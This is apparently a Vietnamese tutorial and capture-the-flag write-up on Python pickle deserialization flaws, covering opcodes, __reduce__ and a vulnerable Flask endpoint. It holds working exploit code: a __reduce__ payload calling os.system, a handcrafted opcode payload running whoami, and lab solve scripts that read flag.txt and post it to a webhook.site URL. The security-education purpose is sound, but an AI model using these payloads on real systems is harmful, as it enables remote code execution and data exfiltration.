# 1. What is pickle?
`pickle` là một module trong pyhton có thể giúp chúng ta serialize(pickle) và deserialize(unpickle) dữ liệu.
- serialize(pickle): convert a Python object into a stream of bytes
- deserialize(unpickle): reconstruct it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes.
Những kiểu dữ liệu có thể được serialize:

Khi chúng ta đọc [Python docs for pickle](https://docs.python.org/3/library/pickle.html) thì có một cảnh báo được note ở trỏng như sau:
>Warning: The pickle module is not secure. Only unpickle data you trust.

Vây tại sao nó lại không an toàn? Hãy cùng đi làm rõ nào!
# 2. How to dump and load?
Trong python chúng ta có thể serialize(pickle) dữ liệu bằng cách sử dụng `pickle.dumps()`
```python
import pickle
pickle.dumps(['pickle', 'me', 1, 2, 3])
```
Và kết quả nhận được sẽ có dạng như sau :
```
b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.'
```
Và để khôi phục lại dữ liệu ban đầu (unpickle) chúng ta sẽ sử dụng `pickle.loads()`
```python
import pickle
pickle.loads(b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.')
```
Kết quả :
```
['pickle', 'me', 1, 2, 3]
```
**Vậy việc pickling và unpickling diễn ra như thế nào?**
Pickle hoạt động bằng cách chuyển đổi object Python thành chuỗi byte chứa opcodes. Khi unpickle, các opcodes được thực thi để tái tạo lại object. Lệnh `pickletools.dis()` cho phép bạn xem các opcodes này.
```python
>>> pickled = pickle.dumps(['pickle', 'me', 1, 2, 3])
>>> import pickletools
>>> pickletools.dis(pickled)
0: \x80 PROTO 4
2: \x95 FRAME 25
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE 'pickle'
22: \x94 MEMOIZE (as 1)
23: \x8c SHORT_BINUNICODE 'me'
27: \x94 MEMOIZE (as 2)
28: K BININT1 1
30: K BININT1 2
32: K BININT1 3
34: e APPENDS (MARK at 13)
35: . STOP
highest protocol among opcodes = 4
```
Giải thích :
```python
0: \x80 PROTO 4: Opcode PROTO xác định phiên bản giao thức pickle (trong trường hợp này là 4).
2: \x95 FRAME 25: Opcode FRAME đánh dấu bắt đầu của một frame mới. Tham số 25 cho biết kích thước của frame.
11: ] EMPTY_LIST: Opcode EMPTY_LIST tạo một list rỗng.
12: \x94 MEMOIZE (as 0): Opcode MEMOIZE lưu trữ list rỗng vào bộ nhớ cache, gán ID là 0.
13: ( MARK: Opcode MARK đánh dấu điểm bắt đầu cho một chuỗi các thao tác.
14: \x8c SHORT_BINUNICODE 'pickle': Opcode SHORT_BINUNICODE tạo một chuỗi "pickle".
22: \x94 MEMOIZE (as 1): Lưu trữ chuỗi "pickle" vào bộ nhớ cache, gán ID là 1.
23: \x8c SHORT_BINUNICODE 'me': Tạo chuỗi "me".
27: \x94 MEMOIZE (as 2): Lưu trữ chuỗi "me" vào bộ nhớ cache, gán ID là 2.
28: K BININT1 1: Tạo số nguyên 1.
30: K BININT1 2: Tạo số nguyên 2.
32: K BININT1 3: Tạo số nguyên 3.
34: e APPENDS (MARK at 13): Opcode APPENDS thêm tất cả các objects được tạo từ MARK (từ dòng 13) vào list rỗng.
35: . STOP: Opcode STOP kết thúc frame hiện tại.
highest protocol among opcodes = 4: Cho biết phiên bản giao thức pickle cao nhất được sử dụng trong chuỗi byte này.
```
# 3. Python Serialization Vulnerabilities - Pickle
**Vậy lổ hổng xảy ra ở đâu?**
Quá trình `unpicking` hoạt động dựa vào opcode, cho nên bằng việc viết opcode một cách chính xác bạn có thể thực thi code python hoặc ghi đè các biến.
Tính linh hoạt của opcode viết trực tiếp cao hơn opcode được tạo bằng cách `pickle.dumps()` và một số code không thể lấy được thông qua pickle serialization.
**`object.__reduce__()`**
`__reduce__()` được sử dụng để hướng dẫn pickle cách tái tạo (re-instantiate) một instance của object đã được serialize.
**Nguyên lý:**
`_reduce__()` trả về một tuple chứa một callable và một tuple các đối số:
Cấu trúc cơ bản:
```python
def __reduce__(self):
return (callable_object, (arg1, arg2, ...))
```
- `callable_object`: Đây là một object có thể gọi được (thường là một hàm hoặc một method của class), sẽ được sử dụng để tái tạo object.
- `(arg1, arg2, ...)`: Đây là một tuple chứa các đối số sẽ được truyền vào `callable_object` để tái tạo object.
Ví dụ:
```python
class MyClass:
def __init__(self, x, y):
self.x = x
self.y = y
def __reduce__(self):
return (MyClass, (self.x, self.y))
```
Trong ví dụ này:
- `MyClass` là callable object (constructor của lớp).
- `(self.x, self.y)` là tuple các đối số sẽ được truyền vào constructor.
Quá trình hoạt động:
- Khi object được pickle, Python sẽ gọi `__reduce__()`.
- Khi unpickle, Python sẽ sử dụng callable và các đối số được trả về để tái tạo object.
Tuy nhiên, nếu giá trị trả về từ `__reduce__()` được khai báo không đúng (ví dụ như sử dụng một callable không phù hợp cùng với các đối số không an toàn), Python có thể hiểu nhầm và thực thi code không mong muốn trong quá deserialize. Điều này có thể bị lợi dụng để thực hiện code injection, dẫn đến RCE (Remote Code Execution).
**Demo**
Ví dụ ta có đoạn code server app.py như sau:
```python
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/hackme", methods=["POST"])
def hackme():
data = base64.urlsafe_b64decode(request.form['pickled'])
deserialized = pickle.loads(data)
# do something with deserialized or just
# get pwned.
return '', 204
```
Để exploit server trên ta sẽ có script như sau:
```python
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('mkdir hacked')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
```
Trong đó:
- `os.system` là callable.
- `cmd` là tuple các đối số sẽ được truyền vào.
Chạy script:
```
begin_pickle> python .\exploit.py
b'gASVJAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAxta2RpciBoYWNrZWSUhZRSlC4='
```
Gửi payload:
`curl -d "pickled=gASVJAAAAAAAAACMAm50lIwGc3lzdGVtlJOUjAxta2RpciBoYWNrZWSUhZRSlC4=" http://127.0.0.1:5000/hackme`
Kết quả:

## Opcodes
Ngoài ra pickle còn có thể được coi là một ngôn ngữ độc lập dựa trên ngăn xếp (standalone stack-based language) được viết bằng một chuỗi các opcodes.
Và việc diễn giải các opcodes này được thực hiện bởi Pickle Virtual Machine (PVM là 1 chương trình thông dịch để thông dịch bytecode)
Chúng ta có thể thực thi code python bằng cách viết các opcodes này trực tiếp, việc viết opcodes trực tiếp linh hoạt hơn là code được gen thông qua pickle serialization.
Một PVM sẽ gồm các phần như sau:
- Instruction processor: Đọc opcodes và tham số từ data stream và biên dịch chúng. Lặp lại cho đến khi gặp kí tự `.` terminator.
Giá trị cuối ở trên đỉnh stack là giá trị được unpicking.
- Stack: Có cấu trúc là `List` và làm khu vực lưu trữ dữ liệu tạm thời.
- Memo: Có cấu trúc là `Dict` và làm khu vực lưu trữ dữ liệu chính trong trong vòng đời của PVM.
PVM sẽ theo sự chỉ dẫn của các opcodes để thực thi các bytecodes. Chúng ta sẽ tìm hiểu 1 vài opcodes nào thông dụng:
| Lệnh | Mô tả | Cách viết cụ thể | Thay đổi trên stack |
|------|-------|------------------|---------------------|
| c | Lấy một object global hoặc import một module | c\[module\]\n\[instance\]\n | object được đẩy vào stack |
| o | Tìm MARK trước đó, object đầu tiên phải là callable (function), các object tiếp theo làm tham số, thực thi hàm (hoặc tạo object) | o | Dữ liệu liên quan bị pop khỏi stack, kết quả hoặc object được đẩy vào stack |
| i | Kết hợp giữa c và o: Đầu tiên lấy một function global, sau đó tìm MARK trước đó và kết hợp các object giữa MARK thành tuple làm tham số để thực thi function global (hoặc tạo object) | i\[module\]\n\[callable\]\n | Dữ liệu liên quan bị pop khỏi stack, kết quả hoặc object được đẩy vào stack |
| N | Khởi tạo object None | N | object được đẩy vào stack |
| S | Khởi tạo một string | S'xxx'\n (có thể dùng nháy đơn, nháy đôi hoặc dạng chuỗi khác của Python) | object string được đẩy vào stack |
| V | Khởi tạo một UNICODE string | Vxxx\n | object UNICODE string được đẩy vào stack |
| I | Khởi tạo một int | Ixxx\n | object int được đẩy vào stack |
| F | Khởi tạo một float | Fx.x\n | object float được đẩy vào stack |
| R | Lấy object đầu tiên làm function, object thứ hai (phải là tuple) làm tham số và gọi function | R | Hàm và tham số bị pop khỏi stack, kết quả được đẩy vào stack |
| . | Kết thúc chương trình, phần tử trên cùng của stack là kết quả của `pickle.loads()` | . | Không thay đổi stack |
| ( | Đẩy một MARK vào stack | ( | MARK được đẩy vào stack |
| t | Tìm MARK trước đó và kết hợp các object giữa MARK thành tuple | t | MARK và dữ liệu bị pop khỏi stack, tuple được đẩy vào stack |
| ) | Đẩy một tuple rỗng vào stack | ) | Tuple rỗng được đẩy vào stack |
| l | Tìm MARK trước đó và kết hợp các object giữa MARK thành list | l | MARK và dữ liệu bị pop khỏi stack, list được đẩy vào stack |
| ] | Đẩy một list rỗng vào stack | ] | List rỗng được đẩy vào stack |
| d | Tìm MARK trước đó và kết hợp các object giữa MARK thành dictionary (các dữ liệu phải theo cặp key-value) | d | MARK và dữ liệu bị pop khỏi stack, dictionary được đẩy vào stack |
| } | Đẩy một dictionary rỗng vào stack | } | Dictionary rỗng được đẩy vào stack |
| p | Lưu object trên cùng của stack vào `memo_n` | pn\n | Không thay đổi stack |
| g | Đẩy object từ `memo_n` vào stack | gn\n | object được đẩy vào stack |
| 0 | Loại bỏ object trên cùng của stack | 0 | object trên cùng bị loại bỏ |
| b | Sử dụng object đầu tiên (là dictionary chứa các thuộc tính) để thiết lập thuộc tính cho object thứ hai (instance) | b | object đầu tiên bị pop khỏi stack |
| s | Lấy object đầu tiên làm value, object thứ hai làm key và thêm hoặc cập nhật vào object thứ ba (phải là list hoặc dictionary, với list key là số) | s | Hai object đầu bị pop khỏi stack, object thứ ba được cập nhật |
| u | Tìm MARK trước đó, kết hợp các object giữa MARK (phải theo cặp key-value) và thêm hoặc cập nhật vào object ngay trước MARK (phải là dictionary) | u | MARK và dữ liệu bị pop khỏi stack, dictionary được cập nhật |
| a | Pop object đầu tiên và append vào object thứ hai (là list) | a | object đầu tiên bị pop khỏi stack, list thứ hai được cập nhật |
| e | Tìm MARK trước đó, kết hợp các object giữa MARK và append vào list ngay trước MARK | e | MARK và dữ liệu bị pop khỏi stack, list được cập nhật |
Sau đây là một ví dụ đơn giản:

Từ các opcode trên ta có thể viết nên 1 chuỗi picking đơn giản để RCE như sau:
```python
import pickle
opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
```
Giải thích Opcode
1. **`cos`**:
- **Bytecode**: `c`
- **Mô tả**: Bytecode này đại diện cho việc nhập hàm `os.system`. Định dạng là `c[module]\n[instance]\n`, có nghĩa là nó kéo hàm `system` từ module `os` và đẩy nó vào stack.
2. **`(S'ls'`**:
- **Bytecode**: `(`
- **Mô tả**: Bytecode này đẩy một MARK vào stack, cho thấy điểm để kết hợp dữ liệu sau này. Bytecode tiếp theo là `S`, tạo một object chuỗi `'whoami'` và đẩy chuỗi này vào stack.
3. **`tR.`**:
- **Bytecode**: `t`
- **Mô tả**: Bytecode này tìm MARK gần nhất trong stack và kết hợp dữ liệu giữa MARK và vị trí hiện tại thành một tuple. Bytecode tiếp theo `R` sau đó thực thi lệnh `os.system('whoami')` sử dụng dữ liệu đã kết hợp.
4. **Kết thúc chương trình**:
- **Bytecode**: `.`
- **Mô tả**: Bytecode này chỉ ra rằng chương trình đã kết thúc. Phần tử trên cùng của stack, là kết quả của lệnh `os.system('whoami')`, được trả về như là đầu ra của chương trình.
# Lab
## [web-deserialize-python](https://dreamhack.io/wargame/challenges/40)
Challenge cung cấp cho ta source của app.py như sau:
```py
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
INFO = ['name', 'userid', 'password']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
app.run(host='0.0.0.0', port=8000)
```
Chúng ta có thể thấy ngay tại route `/check_session` có dính lổ hỗng.
Đây là dạng đơn giản nhất nên chúng ta chỉ cần gen payload đưa vào hàm `pickle.loads` và lụm flag thôi
Note: ở challenge này thì server ko cho write file hay mấy lệnh `curl`,`nc`
Solve script dùng method `__reduce__`:
```python
import pickle
import base64
class Exploit:
def __reduce__(self):
cmd = """
import urllib.request
import json
flag = open('flag.txt').read()
data = json.dumps({'flag': flag}).encode('utf-8')
req = urllib.request.Request('https://webhook.site/271e5a09-2fa9-4131-af61-eba9912eb5d8', data=data, headers={'Content-Type': 'application/json'})
urllib.request.urlopen(req)
"""
return (exec, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit())).decode('utf-8')
print(payload)
```
Solve script dùng opcode:
```python
import base64
code = '''import urllib.request
import json
flag = open('flag.txt').read()
data = json.dumps({'flag': flag}).encode('utf-8')
req = urllib.request.Request('https://webhook.site/271e5a09-2fa9-4131-af61-eba9912eb5d8', data=data, headers={'Content-Type': 'application/json'})
urllib.request.urlopen(req)
'''
code_bytes = code.replace('\n', '\\n').replace('\'', '\\\'').encode('utf-8')
payload = b'''c__builtin__
exec
(S'%b'
tR.''' % code_bytes
payload = base64.b64encode(payload).decode('utf8')
print(payload)
```
# Tham khảo
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://xz.aliyun.com/t/14061
https://goodapple.top/archives/1069#header-id-24
https://xz.aliyun.com/t/7436
https://xz.aliyun.com/t/7012